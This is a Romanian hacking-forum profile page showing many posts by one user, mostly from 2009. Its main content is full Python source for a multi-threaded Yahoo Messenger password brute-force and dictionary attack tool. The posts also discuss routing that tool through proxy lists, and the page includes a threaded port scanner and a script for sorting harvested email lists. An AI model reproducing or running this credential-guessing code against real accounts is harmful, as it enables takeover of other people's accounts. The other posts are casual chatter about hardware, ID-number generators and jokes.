Jump to content

cmiN

Active Members
  • Posts

    1609
  • Joined

  • Last visited

  • Days Won

    27

Everything posted by cmiN

  1. Salut , de cand nu am mai facut un post aici ... si mai multe detalii ? Ce cunostinte detii, scopul, etc.
  2. Vroiam sa-ti dai seama ca nu cred ca e nimeni pe forumul asta care sa fi facut asa ceva, insa in ziua de azi conteaza sa-l iei ieftin si sa scapi de el cat mai repede .
  3. Am vazut ca face niste faze urate, cand primeste string-uri gen: aaa, aab, aac si nu imi dau seama o fi ceva de siguranta la ei, ca la fel cum as trimite string-uri diferite in masa cate 50 deodata, trimit si string-uri de astea gen rotitele de la kilometraj, dar se comporta aiurea, asa ca nu are rost. Oricum cand vrei ceva pentru viteza si optimizari etc C castiga nu Python, desi prin Python te salvezi cu lunile de zile in unele proiecte mai ales daca sunt complicate.
  4. Si pe langa asta puneam optiunea de a incerca fiecare id sau fiecare parola sau fiecare combinatie pe o lista de proxy-uri, puneam un status si in timp real sa poti vedea ce id-uri sunt incarcate, care sunt terminate si daca exista rezultate pozitive, iar daca treaba mergea bine mai bagam o clasa cu un GUI si scoteam un soft adevarat, dar din start conceptul e prost pentru ca pornesc de la link-ul: https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=[USER]&passwd=[PASSWORD]
  5. #! /usr/bin/env python3.1 # 09.09.2009 <> 20.09.2009 | cmiN # Yahoo Brute Force & Dictionary Attack (console) import sys, threading, urllib.request class YBFDA: def __init__(self, args): usage = """\t\t Yahoo Bf & Da 1.0 \t Usage: YahooBfDa.py ymsgrid mode [charset_mode string_range] [words_file] timeout Where ymsgrid is the Yahoo ID mode is the attack mode: BF - Brute Force DA - Dictionary Attack charset_mode sets the characters to use: la - loweralpha ua - upperalpha d - digits o - others string_range is the length of the string from x to y: 1 - min 9 - max words_file is a text file containing the passwords timeout is a float (seconds) * Note that arguments in brackets may be missing and: charset_mode + string_range are used with "BF" mode words_file is used with "DA" mode \t Example: YahooBfDa.py cmin764 BF lad 6-9 1 \t YahooBfDa.py cmin764 DA C:\\list.txt 0.1""" if len(args) in range(5, 7): try: self.ymsgrid = args[1] self.mode = args[2] self.url = "https://login.yahoo.com/config/pwtoken_get?src=ymsgr&login=" + self.ymsgrid + "&passwd=" self.outstr = None if self.mode == "BF": self.charset = list() self.strran = None first, last = int(args[4].split("-")[0]), int(args[4].split("-")[1]) if first <= last: self.strran = range(first, last + 1, 1) else: self.strran = range(first, last - 1, -1) if "la" in args[3]: self.charset.extend(['a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z']) if "ua" in args[3]: self.charset.extend(['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']) if "d" in args[3]: self.charset.extend(['0', '1', '2', '3', '4', '5', '6', '7', '8', '9']) if "o" in args[3]: self.charset.extend(['`', '~', '!', '@', '#', '$', '%', '^', '&', '*', '(', ')', '-', '_', '=', '+', '|', '[', '{', ']', '}', ';', ':', "'", '"', ',', '<', '.', '>', '/', '?', ' ']) self.timeout = float(args[5]) elif self.mode == "DA": self.infile = args[3] self.timeout = float(args[4]) else: raise Exception("invalid mode") self.start() except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print(usage) input() def start(self): MAX_THREADS = 50 if self.mode == "BF": for strlen in self.strran: if strlen == 1: generator = ("".join([word1]) for word1 in self.charset) elif strlen == 2: generator = ("".join([word1, word2]) for word1 in self.charset for word2 in self.charset) elif strlen == 3: generator = ("".join([word1, word2, word3]) for word1 in self.charset for word2 in self.charset for word3 in self.charset) elif strlen == 4: generator = ("".join([word1, word2, word3, word4]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset) elif strlen == 5: generator = ("".join([word1, word2, word3, word4, word5]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset) elif strlen == 6: generator = ("".join([word1, word2, word3, word4, word5, word6]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset) elif strlen == 7: generator = ("".join([word1, word2, word3, word4, word5, word6, word7]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset for word7 in self.charset) elif strlen == 8: generator = ("".join([word1, word2, word3, word4, word5, word6, word7, word8]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset for word7 in self.charset for word8 in self.charset) elif strlen == 9: generator = ("".join([word1, word2, word3, word4, word5, word6, word7, word8, word9]) for word1 in self.charset for word2 in self.charset for word3 in self.charset for word4 in self.charset for word5 in self.charset for word6 in self.charset for word7 in self.charset for word8 in self.charset for word9 in self.charset) for string in generator: while threading.activeCount() > MAX_THREADS: pass Scan(self, string).start() if not self.outstr is None: break if not self.outstr is None: break else: with open(self.infile, "r") as f: for string in f: while threading.activeCount() > MAX_THREADS: pass Scan(self, string).start() if not self.outstr is None: break while threading.activeCount() > 1: pass if self.outstr is None: print("The program didn't find the password.") else: print("The program found the password: {}".format(self.outstr)) class Scan(threading.Thread): def __init__(self, app, string): threading.Thread.__init__(self) self.app = app self.string = string def run(self): try: with urllib.request.urlopen("".join([self.app.url, self.string.strip("\n")]), timeout=self.app.timeout) as u: x = int(str(u.read(1), encoding="utf-8")) if x == 0: self.app.outstr = self.string.strip("\n") except: print("Timed out !") if __name__ == "__main__": YBFDA(sys.argv) Python 3.1.1 -> Python Programming Language -- Official Website El merge perfect, dar vad ca de la un timp citeste rezultate aiurea desi informatiile sunt corecte. Dupa ce se incearca o parola de mai multe ori se prind si chiar daca bagi parola corecta ei trimit raspuns ca e gresita.
  6. 14 dolari daca platesti tu transportul .
  7. @bai3tzash File contine Exit ce inchide programul, iar Help contine About ce iti da detalii despre program. @hunter_pass exista un algoritm fix pentru fiecare CNP, tot ce genereaza acel CNP este 100% valid, dar asta nu inseamna ca orice CNP generat de programul meu este si alocat pentru ca a meu genereaza toate posibilitatile valide ... citeste mai multe despre CNP-urile pentru persoanele straine care (nu) sunt rezidente in Romania. @SympleBoy22 Cu ce ar putea fi mai performant de atat ? Un design mai special sau fiabilitate mai ridicata P.S.: Habar nu am de ce unora nu va merge, daca aveti Python instalat va dadeam doar sursa: sursa.py in schimb am inghetat sursa compilata cu ce e nevoie din interpreter.
  8. Cine e cel care vorbeste la telefon ... cu vocea aia mai subtire, mi se pare cunoscut ?
  9. Da ... si cred ca versiunea este RH-18, dar oricum cred ca e important doar daca sunt facute in Germania si in rest nu mai conteaza, pentru ca toate din Germania au fost facute langa Bochum in jurul anilor 2003 (in cel mai rau caz sa difere anii) si neaparat sa fie pana in 2003 inclusiv. Nu eu am folosit un astfel de telefon, dar stiu multi care inca cauta sa-l vanda cu preturi nu mai mici de 500 E, insa nu prea mai vad clienti care sa ofere mult.
  10. Da ... fiindca ofera si detaliile despre CNP-ul citit, oricum in caz de nu va merge poate nu aveti unul din aceste dll-uri: OLEAUT32.dll - C:\WINDOWS\system32\OLEAUT32.dll USER32.dll - C:\WINDOWS\system32\USER32.dll IMM32.dll - C:\WINDOWS\system32\IMM32.dll SHELL32.dll - C:\WINDOWS\system32\SHELL32.dll KERNEL32.dll - C:\WINDOWS\system32\KERNEL32.dll COMDLG32.dll - C:\WINDOWS\system32\COMDLG32.dll WSOCK32.dll - C:\WINDOWS\system32\WSOCK32.dll COMCTL32.dll - C:\WINDOWS\system32\COMCTL32.dll ADVAPI32.dll - C:\WINDOWS\system32\ADVAPI32.dll WS2_32.dll - C:\WINDOWS\system32\WS2_32.dll GDI32.dll - C:\WINDOWS\system32\GDI32.dll ole32.dll - C:\WINDOWS\system32\ole32.dll WINMM.dll - C:\WINDOWS\system32\WINMM.dll
  11. Ai sistem x64 ? Sau nu pot intelege.
  12. Foloseste Python 3.1.1, in versiunile 2.x ar fi trebuit sa scriu "except Exception, message" dar in 3.x syntaxa arata asa: "except Exception as message". Detalii: Python Programming Language -- Official Website P.S.: De fiecare data inainte sa lansez ceva verific de n ori (n > 5)
  13. Mai sunt si astea ... destul de interesante: Korean Comics | Daily Yeah Pictures and Videos .
  14. #! /usr/bin/env python3.1 # 13.09.2009 <> 14.09.2009 | cmiN # Port Scanner (console) import sys, threading, socket from winsound import Beep class Scan(threading.Thread): def __init__(self, ip, port): threading.Thread.__init__(self) self.ip = ip self.port = port def run(self): result = socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect_ex((self.ip, self.port)) if not result: print("{}:{}".format(self.ip, str(self.port))) Beep(2000, 1000) class PS: def __init__(self, args): usage = """\t\t Port Scanner 1.0 \t Usage: PortScanner.py ip_range_or_list port_range_or_list timeout Where ip_range_or_list is the IP range separated by "::" or the file path to a list with IPs port_range_or_list is the PORT range separated by "::" or the file path to a list with PORTs timeout is a float (seconds) \t Example: PortScanner.py C:\path\ip_list.txt 135::135 0.1""" MAX_THREADS = 50 if len(args) in range(3, 5): try: print("Please wait...") self.update(args[1], args[2], float(args[3])) for ip in self.ip_generator: for port in self.port_generator: while threading.activeCount() > MAX_THREADS: pass Scan(ip, port).start() except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") else: print("Ready!") finally: while threading.activeCount() > 1: pass else: print(usage) input() def update(self, ip, port, timeout): socket.setdefaulttimeout(timeout) if ip.count("::") == 1: ip_start, ip_end = ip.split("::")[0], ip.split("::")[1] a1, b1, c1, d1 = int(ip_start.split(".")[0]), int(ip_start.split(".")[1]), int(ip_start.split(".")[2]), int(ip_start.split(".")[3]) a2, b2, c2, d2 = int(ip_end.split(".")[0]), int(ip_end.split(".")[1]), int(ip_end.split(".")[2]), int(ip_end.split(".")[3]) self.ip_generator = (".".join([str(a), str(, str(c), str(d)]) for a in range(a1, a2 + 1) for b in range(b1, b2 + 1) for c in range(c1, c2 + 1) for d in range(d1, d2 + 1)) else: self.ip_generator = (line.strip("\n") for line in open(ip, "r")) if port.count("::") == 1: port_start, port_end = int(port.split("::")[0]), int(port.split("::")[1]) self.port_generator = (n for n in range(port_start, port_end + 1)) else: self.port_generator = (int(line.strip("\n")) for line in open(port, "r")) if __name__ == "__main__": PS(sys.argv) Interpreter: 3.1.1 Start -> Run -> cmd: cd %locatie% unde %locatie% este locul unde se afla PortScanner.py ce contine codul de mai sus. Cititi usage. Un scanner de ip-uri : port-uri simplu si rapid. Are functia de a scana liste cu ip-uri sau port-uri dar si raze de ip-uri / port-uri in moduri combinate. Avertizare acustica prin difuzorul intern al UC. Nu are rost sa mai pun credite ca cca. 90% din ce este pe forum in Python este scris de mine byte cu byte, oricum mereu cand ceva e facut in totalitate de mine adaug un "[cmiN]".
  15. Trist ... probabil ca si-au dat seama astia de la yahoo si acum au oprit serviciul asta de "parole la minut".
  16. Tare asta, adica 13,400 au facut-o cu ea , ca altfel nu pot intelege votul cu stelute, interesant oricum .
  17. #! /usr/bin/env python3.1 # 12.09.2009 <> 12.09.2009 | cmiN # This script sorts e-mails from all files in a path import os, sys def sort(args): os.chdir(args[2]) ext = list() if args[3] == "*": ext.append(".") else: for x in args[3].split(","): ext.append("." + x) visited_paths, paths_to_visit = list(), os.listdir(os.getcwd()) while len(paths_to_visit) != 0: x = paths_to_visit.pop() if os.path.isfile(x): visited_paths.append(x) else: for y in os.listdir(x): paths_to_visit.append(x + "\\" + y) for x in visited_paths: y = x.split("\\") y[len(y) - 1] = "sorted_" + y[len(y) - 1] with open(x, "r") as infile, open("\\".join(y), "w") as outfile: for z in ext: if z in x: lines = infile.readlines() if args[1] == "d": for domain in args[4]: for line in lines: if domain in line: outfile.write(line) lines.remove(line) outfile.writelines(sorted(lines)) def main(): usage = """\t\t Mail Sorter 1.0 \t Usage: MailSorter.py sort_mode directory extensions [domains] Where sort_mode tells how to sort the mails a - in alphabetical order d - by domains in the given order directory is the path from the text files are read extensions is a list of text files extensions separated by comma only files with the specified extensions will be read put a * if you want to read all files domains is a list of domains separated by comma domains is required only with "d" sort mode \t Example: MailSorter.py d C:\\test * yahoo.com,gmail.com,kappa.ro""" args = sys.argv if len(args) in range(4, 6): try: print("Please wait ...") sort(args) except Exception as message: print("An error occurred: {}".format(message)) except: print("Unknown error.") finally: print("Ready !") else: print(usage) input() if __name__ == "__main__": main() Interpreter: Python 3.1.1 Start -> Run -> cd %locatie% unde %locatie% este locatia in care se afla MailSorter.py ce contine codul de mai sus. I se da o locatie si alte detalii iar el cauta fisiere cu extensiile dorite de utilizator in toate folderele din acea locatie inclusiv in locatie, apoi ordoneaza fiecare linie de text in functie de domeniile / bucatile de text furnizate de utilizator ca argument sau in ordine alfabetica si le scrie in aceleasi locatii cu numele sorted_ + numele original. Vroia pacealik ceva mai "profesional" si m-am gandit sa fac script-ul asta care este de ajutor si in alte scopuri de sortare nu numai in cazul mail-urilor.
  18. Are imaginatie omul ... si aveau dreptate aia care ziceau ca se ascunde bine, oricum nu l-am vazut sa fi activat pe vreun forum ceva sau cine stie cate nick-uri foloseste.
  19. LOLerskates ... se ingroasa gluma =}.
  20. Poate melted e cu alt sens ... ceva mai conotativ .
  21. cmiN

    Fun stuff

    cmin764 id si mail la fel ... de ce ? P.S.: Abtineti-va astia care tot freaca userii la cap care lasa pe forum id sau mail, parca sunteti ca hancu sau iliutza cand zic ca ne va lovi spam-ul orice ar fi.
  22. cmiN

    Fun stuff

    Tare sportul si si =)
  23. PSU: Gembird 650 W MCP: Biostar TF7025-M2 CPU: Amd Athlon X2 64 6000+ 3.0 GHz GPU: Sapphire ATI Radeon HD 3870 @ 512 MB GDDR4 RAM: Adata 3.0 Gb @ 1066 Hz HDD: WD 160 Gb ata Combinatia este excelenta pentru jocuri, in schimb trebuiesc coolere bune pe placa de baza si cea video, iar hard-ul neaparat sa fie sata de viteza mare, oricum de acum au inceput sa optimizeze decat sa creasca cerintele la jocuri. P.S.: Excelent in raport calitate - pret.
  24. Sursa: ContraSENS | Cum afli parola de la Messengerul cuiva Ce comentarii de spartani acolo .
×
×
  • Create New...